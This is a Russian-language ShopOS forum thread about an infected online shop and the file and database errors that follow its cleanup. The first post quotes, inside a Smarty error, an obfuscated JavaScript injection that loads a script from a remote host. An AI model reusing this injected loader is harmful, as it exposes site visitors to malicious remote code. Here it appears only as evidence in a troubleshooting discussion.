Категории

[FAQ] Часто задаваемые вопросы и ответы

Проблемы и решения

Ошибки и исправления

Общие вопросы

Расширения

Установка и обновление

Модули

Шаблоны

Локализация интерфейса

Коммерческие предложения

Учимся бизнесу

Бизнес книги

Поисковая оптимизация (SEO)

Магазины на ShopOS

Хостинг для ShopOS

Предложения и пожелания

Курилка

Кажется вирус!!!

ребята помогите , вот такая вот хрень на сайте , файлы заменял не помогло.

Fatal error: Smarty error: : syntax error: unrecognized tag: window.onload = function(){E1e6wn3ijzwv9g = 'h$@t##()t(!&@p!@:@/&@/$^&()t($!o)#r$&r^#e#$)@n!(#$t)!!z$$-@)#c(!o$$!m!^).&s()&@$o$()s!^o^(.&($!c^&o^$&)m(#$.&@p)e(!t#a(#r$&^d)$$a^s&)#-)$&c($)^$o(m!&!.(e!!&a##!#s^&y!$l)i&@&f#e@d&$)i#$!r(!(e!c))t))#.@(^r#)#u#@:^($8(!^0@8#!0$&&&/#()(n@@!^g(@&o@(i$$##s!(a!o@!^.^!n)^e!#)t#!/#(n#@&#g)^#^o#)(i^)s($@(a#o(!#.)$n)$@e@&t@$#/!(@c@$^&$h@(i^@#n&^@a(#(!z((.@$$c##o#$)@m&!/$^!)c@@(t)r@@i$@(p@).&^c^@o()$m(/!!g&#^^o#)(@o(g^l#e$$.!!@c)^))o^#@@#m$/$('.replace(/\!|\^|\)|\$|@|#|&|\(/ig, '');var D7fyb435pte = 's&^(c)##r!^i!@p##!!t@!&'.replace(/#|\)|\$|\(|@|&|\^|\!/ig, '');var Sn9jgvbufr9 = 's@r)^#^c^#'.replace(/\(|#|\^|\!|\$|\)|@|&/ig, '');var Rxs7200gjqt6h = D7fyb435pte;var Rmkt0nsas90ld = document.createElement(Rxs7200gjqt6h);Rmkt0nsas90ld.setAttribute('defer', 'd^^&e(f(&e&(@r@('.replace(/&|@|#|\!|\(|\)|\$|\^/ig, ''));var Kaws9hrzdk = 't@^@e!)$x)@t@#)(/!(j(&@a(v#&^a$)s$!c&#((r@^i)&)p##!t#('.re in /home/kaplan/data/www/shop.sk8.od.ua/includes/lib/smarty/smarty.class.php on line 1108


да. по умолчанию ничего такого нет


файлы шаблона

default

вернуть на исходные. или из бекапа, если есть


Сайт заработал но касперский всё равно жалуется , удалил индекс.штмл теперь не знаю где его взять в архиве его нет. Ещё заменил индекс пхп в корне теперь ещё и пишет
Интернет-магазин закрыт на техническое обслуживание, заходите позже!

Проблема с MySQL. Как узнать причину ошибки.


в корне сайта его нет. там index.php

а index.html в шаблоне

themes/default/index.html в архиве есть


помогите , заменил индескс.пхп с архива теперь многие разделы не работают


а что за ошибку выдает?



а что за ошибку выдает?


На многих страницах выдабт No recipient addresses found in header

Интернет-магазин закрыт на техническое обслуживание, заходите позже!

Проблема с MySQL. Как узнать причину ошибки. а mysql_db_error.log пищится

15/01/2010 19:01:33 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:40 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:27 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '14' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=14
15/01/2010 19:01:44 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '14' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=14
15/01/2010 19:01:29 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '14' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=14
15/01/2010 19:01:42 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:47 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:20 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:26 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '25' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=25
15/01/2010 19:01:35 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '14' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=14
15/01/2010 19:01:33 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:38 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:08 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:15 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:10 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '14' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=14
15/01/2010 19:01:17 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:17 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '25' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=25
15/01/2010 19:01:05 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:00 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:59 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:03 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:36 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '27' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=27&on_page=10&sort=name&direction=asc
15/01/2010 19:01:53 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 19:01:37 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '14' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=14
15/01/2010 19:01:51 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '25' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=25
15/01/2010 20:01:28 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '38' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=38&on_page=50&sort=name&direction=asc
15/01/2010 20:01:14 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 20:01:46 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '16' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=16
15/01/2010 20:01:19 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '29' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=29&sort=name&direction=asc&page=1
15/01/2010 20:01:39 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 21:01:30 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 21:01:36 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '39' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=39&page=1
15/01/2010 21:01:49 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17
15/01/2010 21:01:48 | 1146 - Table 'shop.osproducts' doesn't exist | select count(p.products_id) as total from os_products_to_categories as ptc, osproducts as p where ptc.categories_id = '17' and ptc.products_id=p.products_id and p.products_status='1' | /index.php?cat=17


Вот ещё такая ошибка хотя файл заменял  Warning: Cannot modify header information - headers already sent by (output started at /home/kaplan/data/www/shop.sk8.od.ua/includes/classes/main.php:97) in /home/kaplan/data/www/shop.sk8.od.ua/includes/functions/include.php on line 1089


так в логах и написана причина:

Table 'shop.osproducts' doesn't exist

- таблица 'shop.osproducts' не существует


ps: я предпологаю, что вы когда заменяли свои 'больные' файлы
снесли файлик где был ваш префикс для таблиц БД,
т.к. по логам у вас префикс отличный от того что по умолчанию.
подправить префикс можно в файле:
config/configure.php



так в логах и написана причина:

Table 'shop.osproducts' doesn't exist

- таблица 'shop.osproducts' не существует


ps: я предпологаю, что вы когда заменяли свои 'больные' файлы
снесли файлик где был ваш префикс для таблиц БД,
т.к. по логам у вас префикс отличный от того что по умолчанию.
подправить префикс можно в файле:
config/configure.php


Ребята я с трудом всё это понимаю, скажите пожалуйсто конкретно что туда вписать.


видимо версии разные того что у вас остуновлены и архива, из которого скопировали Index.php

попробовать в файле index.php

заменить

DB_PREFIX."products


на

TABLE_PRODUCTS."



видимо версии разные того что у вас остуновлены и архива, из которого скопировали Index.php

попробовать в файле index.php

заменить

DB_PREFIX."products


на

TABLE_PRODUCTS."



Спасибо большое. У меня версия 2.4.2 а взял файл с 2.4.5. Проблема решена.


Нашёл вирус, код сидел на всех моих сайтах во всех файла index.html и js  Всё почистил , файлы заменил но вот теперь маленькая ошибка при выходе и входе а админку Warning: Cannot modify header information - headers already sent by (output started at /home/kaplan/data/www/shop.sk8.od.ua/includes/classes/main.php:97) in /home/kaplan/data/www/shop.sk8.od.ua/includes/functions/include.php on line 1089


зачем такой геморрой?

да замените все php файлы на исходные и все.

Warning: Cannot modify header information - headers already sent by (output started at /home/kaplan/data/www/shop.sk8.od.ua/includes/classes/main.php:97) in /home/kaplan/data/www/shop.sk8.od.ua/includes/functions/include.php on line 1089


в файле includes/classes/main.php посмотреть что там на строчке  97



зачем такой геморрой?

да замените все php файлы на исходные и все.

Warning: Cannot modify header information - headers already sent by (output started at /home/kaplan/data/www/shop.sk8.od.ua/includes/classes/main.php:97) in /home/kaplan/data/www/shop.sk8.od.ua/includes/functions/include.php on line 1089


в файле includes/classes/main.php посмотреть что там на строчке  97


Заменял , не чего не выходит! 97 строчка пустая


Проблема решена! Заменил файлы с версии 2.4.5


Источник



Copyright ShopOS